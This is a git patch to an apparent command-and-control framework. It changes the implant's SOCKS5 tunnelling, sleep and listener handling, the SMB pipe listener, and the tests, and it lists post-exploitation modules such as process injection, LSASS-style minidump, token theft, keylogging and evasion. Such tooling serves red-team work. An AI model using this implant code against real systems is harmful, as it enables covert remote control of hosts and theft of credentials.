From 108a3708079a4d2a741f16218119fe4407484196 Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 21:28:40 +0200 Subject: [PATCH] CommandSpecs & Tests * CommandSpecs * CommandSpecs * feat(command-specs): add simple module specs * listModule * AssemblyExec * AssemblyExecTests * Minor * Inject * InjectTests * Spec modules * Folder layout * upload & download * Chisel Minidump Powershell & Script * CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot * add artifact_filters * Minor * stabilisation * Fixes * manual test * manual test * manual test * manual test * manual test * manual test * manual test * manual test * ScreenShot png * socks5 hostname * Maj for AI * minor --- beacon/Beacon.cpp | 57 ++-- beacon/Beacon.hpp | 8 + beacon/tests/testBeacon.cpp | 96 ++++++ listener/Listener.cpp | 91 ++++-- listener/ListenerHttp.cpp | 18 +- listener/ListenerSmb.cpp | 48 ++- listener/ListenerSmb.hpp | 5 +- listener/tests/testListener.cpp | 68 +++- modules/AssemblyExec/AssemblyExec.cpp | 301 +++++++++--------- modules/AssemblyExec/AssemblyExec.hpp | 4 +- .../AssemblyExecCommandOptions.hpp | 178 +++++++++++ modules/AssemblyExec/CMakeLists.txt | 10 +- modules/AssemblyExec/assemblyExec.json | 93 ++++++ .../AssemblyExecTestShellcodeGenerator.hpp | 117 +++++++ .../testsAssemblyExecFunctional.cpp | 80 +++-- .../AssemblyExec/tests/testsAssemblyExec.cpp | 128 ++++++-- modules/COMMAND_SPEC_REFERENCE.md | 117 +++++++ modules/Cat/cat.json | 25 ++ modules/ChangeDirectory/cd.json | 25 ++ modules/Chisel/Chisel.cpp | 76 ++--- modules/Chisel/Chisel.hpp | 4 +- modules/Chisel/chisel.json | 39 +++ modules/Chisel/tests/testsChisel.cpp | 31 +- modules/CimExec/cimExec.json | 54 ++++ modules/CoffLoader/CoffLoader.cpp | 6 +- modules/CoffLoader/coffLoader.json | 47 +++ modules/DcomExec/dcomExec.json | 66 ++++ modules/DotnetExec/DotnetExec.cpp | 11 +- modules/DotnetExec/dotnetExec.json | 74 +++++ modules/Download/Download.cpp | 10 +- modules/Download/Download.hpp | 2 + modules/Download/download.json | 30 ++ modules/Download/tests/testsDownload.cpp | 3 + .../enumerateRdpSessions.json | 31 ++ modules/EnumerateShares/enumerateShares.json | 24 ++ modules/Evasion/evasion.json | 49 +++ modules/GetEnv/getEnv.json | 16 + modules/Inject/CMakeLists.txt | 4 +- modules/Inject/Inject.cpp | 223 ++++++------- modules/Inject/Inject.hpp | 3 + modules/Inject/InjectCommandOptions.hpp | 226 +++++++++++++ modules/Inject/inject.json | 110 +++++++ .../functional/testsInjectFunctional.cpp | 104 ++++-- modules/Inject/tests/testsInject.cpp | 79 ++++- modules/IpConfig/ipConfig.json | 14 + .../KerberosUseTicket/KerberosUseTicket.cpp | 14 +- .../KerberosUseTicket/kerberosUseTicket.json | 32 ++ modules/KeyLogger/keyLogger.json | 26 ++ modules/KillProcess/killProcess.json | 23 ++ modules/ListDirectory/ls.json | 26 ++ modules/ListProcesses/ps.json | 14 + modules/MakeToken/makeToken.json | 29 ++ modules/MiniDump/MiniDump.cpp | 72 +++-- modules/MiniDump/MiniDump.hpp | 8 +- modules/MiniDump/miniDump.json | 32 ++ modules/MiniDump/tests/testsMiniDump.cpp | 25 +- modules/MkDir/mkDir.json | 25 ++ modules/ModuleCmd/C2Message.hpp | 2 + .../ModuleCmd/CommandSpecs/common/end.json | 14 + .../ModuleCmd/CommandSpecs/common/help.json | 25 ++ .../CommandSpecs/common/listModule.json | 14 + .../CommandSpecs/common/listener.json | 45 +++ .../CommandSpecs/common/loadModule.json | 31 ++ .../ModuleCmd/CommandSpecs/common/sleep.json | 21 ++ .../CommandSpecs/common/unloadModule.json | 24 ++ modules/ModuleCmd/CommonCommand.hpp | 79 +++-- modules/ModuleCmd/ModuleCmd.hpp | 19 ++ modules/ModuleCmd/Tools.hpp | 171 +++++----- modules/Netstat/netstat.json | 14 + modules/Powershell/Powershell.cpp | 30 +- modules/Powershell/powershell.json | 54 ++++ modules/Powershell/tests/testsPowershell.cpp | 45 +++ modules/PrintWorkingDirectory/pwd.json | 14 + modules/PsExec/PsExec.cpp | 12 +- modules/PsExec/psExec.json | 70 ++++ modules/PwSh/CMakeLists.txt | 13 +- modules/PwSh/PwSh.cpp | 37 +-- modules/PwSh/pwSh.json | 49 +++ modules/PwSh/tests/testsPwSh.cpp | 2 +- modules/Registry/registry.json | 75 +++++ modules/Remove/remove.json | 25 ++ modules/Rev2self/rev2self.json | 16 + .../reversePortForward.json | 35 ++ modules/Run/run.json | 26 ++ modules/ScreenShot/CMakeLists.txt | 8 +- modules/ScreenShot/ScreenShooter.cpp | 120 ++++--- modules/ScreenShot/ScreenShot.cpp | 80 ++++- modules/ScreenShot/ScreenShot.hpp | 5 + modules/ScreenShot/screenShot.json | 24 ++ modules/ScreenShot/tests/testsScreenShot.cpp | 72 ++++- modules/Script/Script.cpp | 5 +- modules/Script/script.json | 56 ++++ modules/Shell/shell.json | 26 ++ modules/SpawnAs/spawnAs.json | 86 +++++ modules/SshExec/sshExec.json | 85 +++++ modules/StealToken/stealToken.json | 23 ++ modules/TaskScheduler/taskScheduler.json | 66 ++++ modules/Tree/tree.json | 26 ++ modules/Upload/Upload.cpp | 8 +- modules/Upload/upload.json | 37 +++ modules/Whoami/whoami.json | 14 + modules/WinRM/winRm.json | 51 +++ modules/WmiExec/wmiExec.json | 57 ++++ 103 files changed, 4210 insertions(+), 732 deletions(-) create mode 100644 modules/AssemblyExec/AssemblyExecCommandOptions.hpp create mode 100644 modules/AssemblyExec/assemblyExec.json create mode 100644 modules/AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp create mode 100644 modules/COMMAND_SPEC_REFERENCE.md create mode 100644 modules/Cat/cat.json create mode 100644 modules/ChangeDirectory/cd.json create mode 100644 modules/Chisel/chisel.json create mode 100644 modules/CimExec/cimExec.json create mode 100644 modules/CoffLoader/coffLoader.json create mode 100644 modules/DcomExec/dcomExec.json create mode 100644 modules/DotnetExec/dotnetExec.json create mode 100644 modules/Download/download.json create mode 100644 modules/EnumerateRdpSessions/enumerateRdpSessions.json create mode 100644 modules/EnumerateShares/enumerateShares.json create mode 100644 modules/Evasion/evasion.json create mode 100644 modules/GetEnv/getEnv.json create mode 100644 modules/Inject/InjectCommandOptions.hpp create mode 100644 modules/Inject/inject.json create mode 100644 modules/IpConfig/ipConfig.json create mode 100644 modules/KerberosUseTicket/kerberosUseTicket.json create mode 100644 modules/KeyLogger/keyLogger.json create mode 100644 modules/KillProcess/killProcess.json create mode 100644 modules/ListDirectory/ls.json create mode 100644 modules/ListProcesses/ps.json create mode 100644 modules/MakeToken/makeToken.json create mode 100644 modules/MiniDump/miniDump.json create mode 100644 modules/MkDir/mkDir.json create mode 100644 modules/ModuleCmd/CommandSpecs/common/end.json create mode 100644 modules/ModuleCmd/CommandSpecs/common/help.json create mode 100644 modules/ModuleCmd/CommandSpecs/common/listModule.json create mode 100644 modules/ModuleCmd/CommandSpecs/common/listener.json create mode 100644 modules/ModuleCmd/CommandSpecs/common/loadModule.json create mode 100644 modules/ModuleCmd/CommandSpecs/common/sleep.json create mode 100644 modules/ModuleCmd/CommandSpecs/common/unloadModule.json create mode 100644 modules/Netstat/netstat.json create mode 100644 modules/Powershell/powershell.json create mode 100644 modules/PrintWorkingDirectory/pwd.json create mode 100644 modules/PsExec/psExec.json create mode 100644 modules/PwSh/pwSh.json create mode 100644 modules/Registry/registry.json create mode 100644 modules/Remove/remove.json create mode 100644 modules/Rev2self/rev2self.json create mode 100644 modules/ReversePortForward/reversePortForward.json create mode 100644 modules/Run/run.json create mode 100644 modules/ScreenShot/screenShot.json create mode 100644 modules/Script/script.json create mode 100644 modules/Shell/shell.json create mode 100644 modules/SpawnAs/spawnAs.json create mode 100644 modules/SshExec/sshExec.json create mode 100644 modules/StealToken/stealToken.json create mode 100644 modules/TaskScheduler/taskScheduler.json create mode 100644 modules/Tree/tree.json create mode 100644 modules/Upload/upload.json create mode 100644 modules/Whoami/whoami.json create mode 100644 modules/WinRM/winRm.json create mode 100644 modules/WmiExec/wmiExec.json diff --git a/beacon/Beacon.cpp b/beacon/Beacon.cpp index cad926e..56f7c0d 100644 --- a/beacon/Beacon.cpp +++ b/beacon/Beacon.cpp @@ -38,6 +38,8 @@ typedef ModuleCmd* (*constructProc)(); namespace { +constexpr const char* SocksHostnamePrefix = "host:"; + std::string getCurrentProcessArch() { #if defined(_M_IX86) || defined(__i386__) @@ -52,6 +54,16 @@ std::string getCurrentProcessArch() return "unknown"; #endif } + +bool hasSocksHostnamePrefix(const std::string& destination) +{ + return destination.rfind(SocksHostnamePrefix, 0) == 0; +} + +std::string stripSocksHostnamePrefix(const std::string& destination) +{ + return destination.substr(std::char_traits::length(SocksHostnamePrefix)); +} } @@ -588,9 +600,9 @@ bool Beacon::runTasks() { C2Message listenerProofOfLife; - listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message. - listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier. - listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata. + listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message. + listenerProofOfLife.set_data(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata. + listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerHash()); // Include unique listener identifier. // Add the heartbeat to the response queue. m_taskResult.push(listenerProofOfLife); @@ -643,12 +655,13 @@ bool Beacon::handleEndInstruction(C2Message&, C2Message& c2RetMessage) bool Beacon::handleSleepInstruction(C2Message& c2Message, C2Message& c2RetMessage) { std::string newSleepTimer = c2Message.cmd(); - try + float sleepSeconds = 0.0f; + if (parseSleepSeconds(newSleepTimer, sleepSeconds)) { - m_aliveTimerMs = std::stof(newSleepTimer) * 1000; + m_aliveTimerMs = static_cast(sleepSeconds * 1000); newSleepTimer = std::to_string(m_aliveTimerMs) + "ms"; } - catch (const std::invalid_argument&) + else { newSleepTimer = CmdStatusFail; } @@ -704,11 +717,7 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes std::string localHost = splitedCmd[2]; int localPort; - try - { - localPort = std::stoi(splitedCmd[3]); - } - catch (const std::invalid_argument&) + if (!parseTcpListenerPort(splitedCmd[3], localPort)) { c2RetMessage.set_errorCode(ERROR_PORT_FORMAT); return false; @@ -746,6 +755,9 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes } else if (splitedCmd[0] == StopCmd) { + if (splitedCmd.size() != 2) + return false; + std::string listenerHash = splitedCmd[1]; auto object = std::find_if(m_listeners.begin(), m_listeners.end(), [&](const std::unique_ptr& obj){ return obj->getListenerHash().rfind(listenerHash, 0) == 0; }); @@ -754,7 +766,7 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes { c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue((*object)->getListenerHash()); - m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); + m_listeners.erase(object); return false; } else @@ -789,9 +801,18 @@ bool Beacon::handleSocks5Instruction(C2Message& c2Message, C2Message& c2RetMessa std::unique_ptr socksTunnelClient = std::make_unique(c2Message.pid()); try { - uint32_t ip_dst = std::stoi(c2Message.data()); - uint16_t port = std::stoi(c2Message.args()); - int initResult = socksTunnelClient->init(ip_dst, port); + const std::string destination = c2Message.data(); + uint16_t port = static_cast(std::stoul(c2Message.args())); + int initResult = 0; + if (hasSocksHostnamePrefix(destination)) + { + initResult = socksTunnelClient->initHostname(stripSocksHostnamePrefix(destination), port); + } + else + { + uint32_t ip_dst = static_cast(std::stoul(destination)); + initResult = socksTunnelClient->init(ip_dst, port); + } if (initResult) { m_socksTunnelClient.push_back(std::move(socksTunnelClient)); @@ -800,14 +821,14 @@ bool Beacon::handleSocks5Instruction(C2Message& c2Message, C2Message& c2RetMessa else { SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid()); - c2RetMessage.set_data("fail"); + c2RetMessage.set_data("fail:connect"); return false; } } - catch (const std::invalid_argument&) + catch (const std::exception&) { SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid()); - c2RetMessage.set_errorCode(ERROR_GENERIC); + c2RetMessage.set_data("fail:invalid_destination"); return false; } SPDLOG_DEBUG("Socks5 init Finished"); diff --git a/beacon/Beacon.hpp b/beacon/Beacon.hpp index 7822529..da064c3 100644 --- a/beacon/Beacon.hpp +++ b/beacon/Beacon.hpp @@ -8,6 +8,7 @@ #include #include #include +#include #include @@ -69,4 +70,11 @@ private: bool handleUnloadModuleInstruction(C2Message& c2Message, C2Message& c2RetMessage); bool handleModuleInstruction(C2Message& c2Message, C2Message& c2RetMessage); +#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) +protected: + void addTestListener(std::unique_ptr listener) + { + m_listeners.push_back(std::move(listener)); + } +#endif }; diff --git a/beacon/tests/testBeacon.cpp b/beacon/tests/testBeacon.cpp index b9e50b2..bdd8550 100644 --- a/beacon/tests/testBeacon.cpp +++ b/beacon/tests/testBeacon.cpp @@ -2,6 +2,7 @@ #include "../../modules/ModuleCmd/CommonCommand.hpp" #include +#include #include class BeaconTestProxy : public Beacon { @@ -10,15 +11,35 @@ public: using Beacon::cmdToTasks; using Beacon::taskResultsToCmd; using Beacon::execInstruction; + using Beacon::runTasks; +#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + using Beacon::addTestListener; +#endif void checkIn() override {} void pushResult(const C2Message& msg) { m_taskResult.push(msg); } + C2Message popResult() + { + C2Message msg = m_taskResult.front(); + m_taskResult.pop(); + return msg; + } size_t resultCount() const { return m_taskResult.size(); } size_t taskCount() const { return m_tasks.size(); } const std::string& arch() const { return m_arch; } }; +class FakeListener : public Listener { +public: + FakeListener() + : Listener("0.0.0.0", "4444", ListenerTcpType) + { + m_listenerHash = "child-listener"; + m_metadata = R"({"1":"tcp","2":"0.0.0.0","3":"4444"})"; + } +}; + namespace { const std::string kConfig = R"({"xorKey":"key","ModulesConfig":{}})"; @@ -80,6 +101,20 @@ int main() ok &= expect(!out.empty(), "serialized task results should not be empty"); ok &= expect(b.resultCount() == 0, "taskResultsToCmd should clear result queue"); } +#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + { + BeaconTestProxy b; + b.addTestListener(std::make_unique()); + + ok &= expect(!b.runTasks(), "listener poll should keep beacon running"); + ok &= expect(b.resultCount() == 1, "listener poll should queue one proof of life"); + + C2Message poll = b.popResult(); + ok &= expect(poll.instruction() == ListenerPollCmd, "listener poll instruction mismatch"); + ok &= expect(poll.data() == R"({"1":"tcp","2":"0.0.0.0","3":"4444"})", "listener poll should carry metadata in data"); + ok &= expect(poll.returnvalue() == "child-listener", "listener poll should carry listener hash in return value"); + } +#endif { BeaconTestProxy b; C2Message sleepMsg; @@ -89,6 +124,13 @@ int main() ok &= expect(!b.execInstruction(sleepMsg, sleepRet), "sleep command should keep beacon running"); ok &= expect(sleepRet.returnvalue() == "2000ms", "sleep command should convert seconds to ms"); + C2Message zeroSleep; + zeroSleep.set_instruction(SleepCmd); + zeroSleep.set_cmd("0"); + C2Message zeroRet; + ok &= expect(!b.execInstruction(zeroSleep, zeroRet), "zero sleep should keep beacon running"); + ok &= expect(zeroRet.returnvalue() == "0ms", "zero sleep should be accepted"); + C2Message badSleep; badSleep.set_instruction(SleepCmd); badSleep.set_cmd("abc"); @@ -96,11 +138,65 @@ int main() ok &= expect(!b.execInstruction(badSleep, badRet), "bad sleep should keep beacon running"); ok &= expect(badRet.returnvalue() == CmdStatusFail, "bad sleep should fail cleanly"); + C2Message partialSleep; + partialSleep.set_instruction(SleepCmd); + partialSleep.set_cmd("1abc"); + C2Message partialRet; + ok &= expect(!b.execInstruction(partialSleep, partialRet), "partial sleep should keep beacon running"); + ok &= expect(partialRet.returnvalue() == CmdStatusFail, "partial sleep should fail cleanly"); + + C2Message negativeSleep; + negativeSleep.set_instruction(SleepCmd); + negativeSleep.set_cmd("-1"); + C2Message negativeRet; + ok &= expect(!b.execInstruction(negativeSleep, negativeRet), "negative sleep should keep beacon running"); + ok &= expect(negativeRet.returnvalue() == CmdStatusFail, "negative sleep should fail cleanly"); + C2Message endMsg; endMsg.set_instruction(EndCmd); C2Message endRet; ok &= expect(b.execInstruction(endMsg, endRet), "end command should stop beacon"); ok &= expect(endRet.returnvalue() == CmdStatusSuccess, "end command should return success"); + + C2Message badListenerPort; + badListenerPort.set_instruction(ListenerCmd); + badListenerPort.set_cmd(StartCmd + " " + ListenerTcpType + " 0.0.0.0 notaport"); + C2Message badListenerRet; + ok &= expect(!b.execInstruction(badListenerPort, badListenerRet), "bad listener port should keep beacon running"); + ok &= expect(badListenerRet.errorCode() == ERROR_PORT_FORMAT, "bad listener port should be rejected"); + + C2Message zeroListenerPort; + zeroListenerPort.set_instruction(ListenerCmd); + zeroListenerPort.set_cmd(StartCmd + " " + ListenerTcpType + " 0.0.0.0 0"); + C2Message zeroListenerRet; + ok &= expect(!b.execInstruction(zeroListenerPort, zeroListenerRet), "zero listener port should keep beacon running"); + ok &= expect(zeroListenerRet.errorCode() == ERROR_PORT_FORMAT, "zero listener port should be rejected"); + } + { + BeaconTestProxy b; + C2Message hostSocksInit; + hostSocksInit.set_instruction(Socks5Cmd); + hostSocksInit.set_cmd(InitCmd); + hostSocksInit.set_data("host:"); + hostSocksInit.set_args("80"); + hostSocksInit.set_pid(7); + C2Message hostSocksRet; + + ok &= expect(!b.execInstruction(hostSocksInit, hostSocksRet), "hostname socks init failure should keep beacon running"); + ok &= expect(hostSocksRet.instruction() == Socks5Cmd, "hostname socks init should preserve instruction"); + ok &= expect(hostSocksRet.cmd() == InitCmd, "hostname socks init should preserve command"); + ok &= expect(hostSocksRet.pid() == 7, "hostname socks init should preserve tunnel id"); + ok &= expect(hostSocksRet.data() == "fail:connect", "empty hostname should fail cleanly"); + + C2Message invalidSocksInit; + invalidSocksInit.set_instruction(Socks5Cmd); + invalidSocksInit.set_cmd(InitCmd); + invalidSocksInit.set_data("not-a-number"); + invalidSocksInit.set_args("80"); + C2Message invalidSocksRet; + + ok &= expect(!b.execInstruction(invalidSocksInit, invalidSocksRet), "invalid socks init failure should keep beacon running"); + ok &= expect(invalidSocksRet.data() == "fail:invalid_destination", "invalid socks destination should fail cleanly"); } { BeaconTestProxy b; diff --git a/listener/Listener.cpp b/listener/Listener.cpp index 96698f5..6cc3744 100644 --- a/listener/Listener.cpp +++ b/listener/Listener.cpp @@ -21,6 +21,43 @@ constexpr std::string_view mainKeyConfig = ".CRT$XCL"; // compile time encryption constexpr std::array _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig); +namespace +{ +bool parseListenerMetadata(const std::string& listenerMetadata, std::string& type, std::string& param1, std::string& param2) +{ + nlohmann::json parsed = nlohmann::json::parse(listenerMetadata, nullptr, false); + if(parsed.is_discarded() || !parsed.is_object()) + return false; + + auto typeIt = parsed.find("1"); + auto param1It = parsed.find("2"); + auto param2It = parsed.find("3"); + if(typeIt == parsed.end() || param1It == parsed.end() || param2It == parsed.end()) + return false; + if(!typeIt->is_string() || !param1It->is_string() || !param2It->is_string()) + return false; + + type = typeIt->get(); + param1 = param1It->get(); + param2 = param2It->get(); + return !type.empty() && !param1.empty() && !param2.empty(); +} + +bool extractListenerReport(const C2Message& c2Message, bool allowLegacySwap, std::string& listenerHash, std::string& type, std::string& param1, std::string& param2) +{ + listenerHash = c2Message.returnvalue(); + if(parseListenerMetadata(c2Message.data(), type, param1, param2)) + return !listenerHash.empty(); + + if(!allowLegacySwap) + return false; + + listenerHash = c2Message.data(); + return parseListenerMetadata(c2Message.returnvalue(), type, param1, param2) + && !listenerHash.empty(); +} +} + #ifdef BUILD_TEAMSERVER namespace { @@ -213,6 +250,7 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri std::lock_guard lock(m_mutex); bool sessionExist = false; + bool listenerAdded = false; // Iterate through all active sessions to find the one matching the given beacon hash. for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -222,9 +260,9 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri sessionExist=true; // Add the listener to the matching session if it doesn't already exist. - (*it)->addListener(listenerHash, type, param1, param2); + listenerAdded = (*it)->addListener(listenerHash, type, param1, param2); #ifdef BUILD_TEAMSERVER - if(m_logger) + if(listenerAdded && m_logger) m_logger->info("Listener {} registered child listener {} ({})", beaconHash, listenerHash, type); #endif break; @@ -236,8 +274,8 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri m_logger->warn("Unable to register listener {} for beacon {} - session not found", listenerHash, beaconHash); #endif - // Return true if the session was found and updated, false otherwise. - return sessionExist; + // Return true only when the session was updated with a new child listener. + return sessionExist && listenerAdded; } @@ -526,7 +564,8 @@ bool Listener::handleMessages(const std::string& input, std::string& output) { const C2Message& c2Message = bundleC2Message->c2messages(j); - addTaskResult(c2Message, beaconHash); + if (c2Message.instruction() != ListenerPollCmd) + addTaskResult(c2Message, beaconHash); // Handle instruction that have impact on this Listener // Here if a beacon is terminated, we need to remove the list of sessions associeted with it. @@ -573,23 +612,15 @@ bool Listener::handleMessages(const std::string& input, std::string& output) if(splitedCmd[0]==StartCmd) { - std::string listenerMetadata = c2Message.data(); - std::string listenerHash = c2Message.returnvalue(); - - nlohmann::json parsed; - try - { - parsed = nlohmann::json::parse(listenerMetadata); - std::string type = parsed["1"]; - std::string param1 = parsed["2"]; - std::string param2 = parsed["3"]; + std::string listenerHash; + std::string type; + std::string param1; + std::string param2; + if(extractListenerReport(c2Message, false, listenerHash, type, param1, param2)) addSessionListener(beaconHash, listenerHash, type, param1, param2); - } - catch (...) - { + else continue; - } } else if(splitedCmd[0]==StopCmd) { @@ -599,23 +630,15 @@ bool Listener::handleMessages(const std::string& input, std::string& output) // Handle proof of life of listeners else if(c2Message.instruction()==ListenerPollCmd) { - std::string listenerMetadata = c2Message.data(); - std::string listenerHash = c2Message.returnvalue(); - - nlohmann::json parsed; - try - { - parsed = nlohmann::json::parse(listenerMetadata); - std::string type = parsed["1"]; - std::string param1 = parsed["2"]; - std::string param2 = parsed["3"]; + std::string listenerHash; + std::string type; + std::string param1; + std::string param2; + if(extractListenerReport(c2Message, true, listenerHash, type, param1, param2)) addSessionListener(beaconHash, listenerHash, type, param1, param2); - } - catch (...) - { + else continue; - } } } @@ -667,4 +690,4 @@ bool Listener::handleMessages(const std::string& input, std::string& output) output = base64_encode(data); return isTaskToSend; -} \ No newline at end of file +} diff --git a/listener/ListenerHttp.cpp b/listener/ListenerHttp.cpp index 4bee948..0817df0 100644 --- a/listener/ListenerHttp.cpp +++ b/listener/ListenerHttp.cpp @@ -125,6 +125,16 @@ int ListenerHttp::init() return -1; } + if(!m_svr->bind_to_port(m_host.c_str(), m_port)) + { +#ifdef BUILD_TEAMSERVER + if(m_logger) + m_logger->error("Failed to bind {} listener on {}:{}", m_isHttps ? "HTTPS" : "HTTP", m_host, m_port); +#endif + m_svr.reset(); + return -1; + } + m_httpServ = std::make_unique(&ListenerHttp::launchHttpServ, this); #ifdef BUILD_TEAMSERVER @@ -393,7 +403,13 @@ void ListenerHttp::launchHttpServ() }); } - m_svr->listen(m_host.c_str(), m_port); + if(!m_svr->listen_after_bind()) + { +#ifdef BUILD_TEAMSERVER + if(m_logger) + m_logger->error("{} listener stopped because listen failed on {}:{}", m_isHttps ? "HTTPS" : "HTTP", m_host, m_port); +#endif + } } bool ListenerHttp::processPayload(const std::string& requestData, std::string& responseData) diff --git a/listener/ListenerSmb.cpp b/listener/ListenerSmb.cpp index 0271455..2f993cd 100644 --- a/listener/ListenerSmb.cpp +++ b/listener/ListenerSmb.cpp @@ -43,15 +43,18 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con m_logger->info("Initializing SMB listener on {} using pipe {}", ip, pipeName); #endif - m_stopThread=false; + m_stopThread.store(false); m_smbServ = std::make_unique(&ListenerSmb::launchSmbServ, this); } ListenerSmb::~ListenerSmb() { - m_stopThread=true; - m_smbServ->join(); + m_stopThread.store(true); + wakeServer(); + + if(m_smbServ && m_smbServ->joinable()) + m_smbServ->join(); delete m_serverSmb; @@ -61,25 +64,49 @@ ListenerSmb::~ListenerSmb() #endif } +void ListenerSmb::wakeServer() +{ + try + { + PipeHandler::Client client(".", m_param2); + if(client.initConnection()) + { + std::string stopMessage = "__stop__"; + client.sendData(stopMessage); + client.closeConnection(); + } + } + catch (...) + { + } +} + void ListenerSmb::launchSmbServ() { try { - while(1) + while(!m_stopThread.load()) { - if(m_stopThread) - return; - - m_serverSmb->initServer(); + if(!m_serverSmb->initServer()) + { + if(!m_stopThread.load()) + std::this_thread::sleep_for(std::chrono::milliseconds(50)); + continue; + } bool res = false; string input; - while(input.empty()) + do { res = m_serverSmb->receiveData(input); - std::this_thread::sleep_for(std::chrono::milliseconds(50)); + if(input.empty() && !m_stopThread.load()) + std::this_thread::sleep_for(std::chrono::milliseconds(50)); } + while(!m_stopThread.load() && input.empty()); + + if(m_stopThread.load()) + return; #ifdef BUILD_TEAMSERVER if(m_logger && m_logger->should_log(spdlog::level::debug)) @@ -114,4 +141,3 @@ void ListenerSmb::launchSmbServ() return; } - diff --git a/listener/ListenerSmb.hpp b/listener/ListenerSmb.hpp index 7961a8f..dd59131 100644 --- a/listener/ListenerSmb.hpp +++ b/listener/ListenerSmb.hpp @@ -2,6 +2,8 @@ #include "Listener.hpp" +#include + namespace PipeHandler { @@ -17,9 +19,10 @@ public: private: void launchSmbServ(); + void wakeServer(); PipeHandler::Server* m_serverSmb; - bool m_stopThread; + std::atomic_bool m_stopThread; std::unique_ptr m_smbServ; }; diff --git a/listener/tests/testListener.cpp b/listener/tests/testListener.cpp index 7fc3ad0..52aff23 100644 --- a/listener/tests/testListener.cpp +++ b/listener/tests/testListener.cpp @@ -16,6 +16,14 @@ public: using Listener::rmSessionListener; void addSession(const std::shared_ptr& s) { m_sessions.push_back(s); } + bool process(const std::string& input, std::string& output) { return handleMessages(input, output); } + std::string encode(const MultiBundleC2Message& message) + { + std::string data; + const_cast(message).SerializeToString(&data); + XOR(data, m_key); + return base64_encode(data); + } }; namespace { @@ -29,9 +37,11 @@ namespace { return true; } - std::shared_ptr makeSession() + std::shared_ptr makeSession( + const std::string& listenerHash = "lhash", + const std::string& beaconHash = "bhash") { - return std::make_shared("lhash", "bhash", "host", "user", "arch", "priv", "os"); + return std::make_shared(listenerHash, beaconHash, "host", "user", "arch", "priv", "os"); } } @@ -43,8 +53,9 @@ int main() ListenerTestProxy l; l.addSession(makeSession()); ok &= expect(l.addSessionListener("bhash", "child", "tcp", "p1", "p2"), "session listener should be added"); + ok &= expect(!l.addSessionListener("bhash", "child", "tcp", "p1", "p2"), "duplicate session listener should not be added"); auto infos = l.getSessionListenerInfos(); - ok &= expect(infos.size() == 1, "session listener info should be visible"); + ok &= expect(infos.size() == 1, "session listener info should be visible once"); ok &= expect(l.rmSessionListener("bhash", "child"), "session listener should be removed"); } { @@ -67,6 +78,57 @@ int main() auto out = l.getTaskResult(hash); ok &= expect(out.instruction() == "RES", "queued task result should be retrievable"); } + { + const std::string beaconHash = "ABCDEFGH12345678ABCDEFGH12345678"; + ListenerTestProxy l; + l.addSession(makeSession("lhash", beaconHash)); + + MultiBundleC2Message incoming; + BundleC2Message* bundle = incoming.add_bundlec2messages(); + bundle->set_beaconhash(beaconHash); + bundle->set_listenerhash("lhash"); + bundle->set_lastProofOfLife("0"); + + C2Message* poll = bundle->add_c2messages(); + poll->set_instruction(ListenerPollCmd); + poll->set_data(R"({"1":"tcp","2":"0.0.0.0","3":"4444"})"); + poll->set_returnvalue("child-listener"); + + std::string output; + l.process(l.encode(incoming), output); + + auto infos = l.getSessionListenerInfos(); + ok &= expect(infos.size() == 1, "listener poll should update session listener metadata"); + ok &= expect(infos[0].getListenerHash() == "child-listener", "listener poll should preserve child listener hash"); + ok &= expect(infos[0].getType() == "tcp", "listener poll should preserve child listener type"); + + auto result = l.getTaskResult(beaconHash); + ok &= expect(result.instruction().empty(), "listener poll should not be queued as a command result"); + } + { + const std::string beaconHash = "ABCDEFGH12345678ABCDEFGH12345678"; + ListenerTestProxy l; + l.addSession(makeSession("lhash", beaconHash)); + + MultiBundleC2Message incoming; + BundleC2Message* bundle = incoming.add_bundlec2messages(); + bundle->set_beaconhash(beaconHash); + bundle->set_listenerhash("lhash"); + bundle->set_lastProofOfLife("0"); + + C2Message* poll = bundle->add_c2messages(); + poll->set_instruction(ListenerPollCmd); + poll->set_data("child-listener"); + poll->set_returnvalue(R"({"1":"tcp","2":"0.0.0.0","3":"4444"})"); + + std::string output; + l.process(l.encode(incoming), output); + + auto infos = l.getSessionListenerInfos(); + ok &= expect(infos.size() == 1, "legacy listener poll should update session listener metadata"); + ok &= expect(infos[0].getListenerHash() == "child-listener", "legacy listener poll should preserve child listener hash"); + ok &= expect(infos[0].getType() == "tcp", "legacy listener poll should preserve child listener type"); + } return ok ? 0 : 1; } diff --git a/modules/AssemblyExec/AssemblyExec.cpp b/modules/AssemblyExec/AssemblyExec.cpp index d6b0197..5f57c36 100644 --- a/modules/AssemblyExec/AssemblyExec.cpp +++ b/modules/AssemblyExec/AssemblyExec.cpp @@ -1,10 +1,12 @@ #include "AssemblyExec.hpp" #include +#include #include #include #include +#include "AssemblyExecCommandOptions.hpp" #include "Common.hpp" #include "Tools.hpp" @@ -43,6 +45,10 @@ namespace 